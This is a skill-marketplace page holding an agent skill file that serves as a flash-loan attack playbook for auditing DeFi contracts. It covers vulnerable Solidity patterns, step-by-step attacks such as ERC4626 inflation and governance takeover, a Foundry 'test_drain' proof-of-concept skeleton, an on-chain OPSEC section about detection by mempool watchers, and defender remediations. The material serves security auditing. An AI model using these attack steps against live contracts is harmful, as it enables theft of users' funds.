# Flash Loan

> Flash-loan exploit patterns — callback reentrancy, oracle amplification, governance attacks, unauthenticated callback handlers.

- Skill: `purpleailab/flash-loan` (Agent Skill)
- Install (CLI): `npx skillmds@latest add purpleailab/flash-loan`
- Raw SKILL.md: https://api.skillmd.com/api/skills/purpleailab/flash-loan/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: purpleailab (https://skillmd.com/u/purpleailab)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/purpleailab/flash-loan

---


# Flash Loan Attack Playbook

Flash loans give the attacker uncollateralized capital for a single
transaction. They're not vulnerabilities themselves — they're a force
multiplier for existing bugs. Sources: Aave, Balancer, Uniswap V2/V3,
Maker, dYdX (deprecated).

## Common attack patterns

### 1. Oracle amplification (most common)
Use loan to push a price, then trigger price-dependent action.
**Cross-reference**: see `oracle-manipulation/SKILL.md`.

### 2. Unauthenticated callback handler
```solidity
function executeOperation(
    address[] calldata assets,
    uint256[] calldata amounts,
    uint256[] calldata premiums,
    address initiator,                     // ← UNVALIDATED in many contracts
    bytes calldata params
) external returns (bool) {
    // Anyone can call this with fake `initiator`
    // and have the contract do whatever the params say
}
```
**Bug**: `initiator` and `msg.sender == pool` checks are missing.
**Attack**: call `executeOperation` directly with no actual loan, malicious `params` → contract does the operation anyway.

### 3. Governance attack via flash loan
```solidity
// Vulnerable governance:
function propose() external {
    require(getVotes(msg.sender) > THRESHOLD);
    // ...
}
function getVotes(address user) public view returns (uint256) {
    return token.balanceOf(user);  // ← reads SPOT balance, not snapshot
}
```
**Attack**: flash-loan governance tokens, propose malicious change (e.g., upgrade contract to drain), vote with the loaned tokens, execute, repay loan. **MakerDAO** had this pattern; mitigated by checkpoint-based voting.

### 4. Liquidity manipulation
Pool that uses `totalSupply()` or `balanceOf(pool)` for share math:
```solidity
function deposit(uint256 amt) external {
    uint256 shares = (amt * totalSupply()) / underlying.balanceOf(address(this));
    _mint(msg.sender, shares);
    underlying.transferFrom(msg.sender, address(this), amt);
}
```
Attacker:
1. Flash-loan and deposit (becomes 99% of pool)
2. Donate underlying to inflate `underlying.balanceOf` artificially
3. Next depositor's shares = `amt * totalSupply / inflatedBalance` ≈ 0
4. Withdraw → drain
This is the **ERC4626 inflation attack** (also covered in `reentrancy/` overlap).

### 5. Liquidation arbitrage gone wrong
A liquidator that uses flash loans to repay debt before claiming
collateral — usually benign. The bug: liquidation health check happens
*before* the seizure, but the seizure happens via callback into a
manipulable function. Reentrancy + oracle dependent.

## Audit steps

### 1. Locate flash-loan integrations
```bash
grep -rn 'executeOperation\|flashLoan\|onFlashLoan\|flashCallback\|aaveFlashLoan' src/
```

### 2. For each handler
Check:
- `msg.sender == known_pool` (whitelist callback origin)
- `initiator == address(this)` (only respond to your own loans)
- ReentrancyGuard on the public function that *takes* the loan
- The fee is correctly accounted (`amounts[i] + premiums[i]` is repaid)

### 3. For each price-reading function
See `oracle-manipulation/SKILL.md`.

### 4. For each share-mint / share-burn function
Check `ERC4626` virtual-shares mitigation:
```solidity
// OpenZeppelin ERC4626 v4.7+
function _convertToShares(uint256 assets, MathUpgradeable.Rounding rounding) internal view virtual override returns (uint256) {
    return _initialConvertToShares(assets, rounding);  // adds 10**18 to total supply for share calc
}
```
If using legacy ERC4626 or custom vault math, write a Foundry test that:
1. Attacker deposits 1 wei → gets 1 share
2. Attacker direct-transfers 1e18 underlying to vault
3. Victim deposits 1e18 → gets 0 shares (rounding)
4. Attacker withdraws 1 share → gets 100% of pool

```
foundry_inflation_test(vault_address="...", underlying="...", target_path="src/Vault.sol")
```

## Severity calibration

| Pattern | Severity if confirmed |
|---|---|
| Unauth callback handler → arbitrary execution | Critical 10.0 |
| Flash-loan oracle manipulation drains protocol | Critical 9-10 |
| Governance attack possible | Critical 9-10 (if exec results in fund loss) |
| ERC4626 inflation attack on live vault | Critical 9 |
| Liquidation reentrancy via callback | High 8 |
| Theoretical (low liquidity, manipulation cost > attack profit) | Medium-Low |

## PoC template (Foundry)
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "@aave-v3/interfaces/IPool.sol";

contract Test_FlashAttack is Test {
    IPool constant AAVE = IPool(0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E2);
    address constant TARGET = 0x...;
    address constant ATTACKER = address(0xBEEF);

    function setUp() public {
        vm.createSelectFork("https://eth-mainnet.../<block>");
    }

    function test_drain() public {
        vm.startPrank(ATTACKER);
        uint256 beforeBal = WETH.balanceOf(ATTACKER);

        // Request 10000 WETH flash loan
        address[] memory assets = new address[](1);
        assets[0] = address(WETH);
        uint256[] memory amts = new uint256[](1);
        amts[0] = 10000 ether;
        uint256[] memory modes = new uint256[](1);  // 0 = repay full

        AAVE.flashLoan(address(this), assets, amts, modes, address(this), "", 0);

        uint256 afterBal = WETH.balanceOf(ATTACKER);
        assertGt(afterBal, beforeBal + 100 ether, "should profit");
    }

    function executeOperation(
        address[] calldata assets,
        uint256[] calldata amts,
        uint256[] calldata premiums,
        address initiator,
        bytes calldata
    ) external returns (bool) {
        // 1. Use loaned funds to manipulate TARGET
        // 2. Profit
        // 3. Repay
        IERC20(assets[0]).approve(address(AAVE), amts[0] + premiums[0]);
        return true;
    }
}
```

## OPSEC (operational, not blue team — this is on-chain)
Flash-loan attacks leave a single transaction trail visible to:
- Mempool watchers / Flashbots inspectors
- MEV bots that may front-run if not using private mempool
- Risk dashboards (DefiLlama, Forta, Cyfrin)

For audit-PoC purposes (not live exploit) just use a forked anvil.

## Defender remediation
1. **Snapshot-based governance** — vote based on historical balance, not spot
2. **TWAP oracles only** — never spot price for trust-critical decisions
3. **Validate flash callback origin** — `require(msg.sender == knownPool && initiator == address(this))`
4. **ERC4626 OpenZeppelin v4.7+** — virtual shares mitigation
5. **Initial deposit by deployer** — seed the vault with 10**18 underlying before opening, makes inflation impractical

## Known exemplars
- bZx 1 (Feb 2020): $350k flash-loan oracle attack
- bZx 2 (Feb 2020): $645k Synthetix sUSD attack
- Beanstalk (Apr 2022): $182M flash-loan governance attack
- Euler (Mar 2023): $197M; donateToReserves bug + flash loan
- Mango (Oct 2022): $114M oracle + flash loan
- Cream (Oct 2021): $130M via yUSD oracle
- KyberSwap (Nov 2023): $48.5M via concentrated-liquidity edge case + flash loan

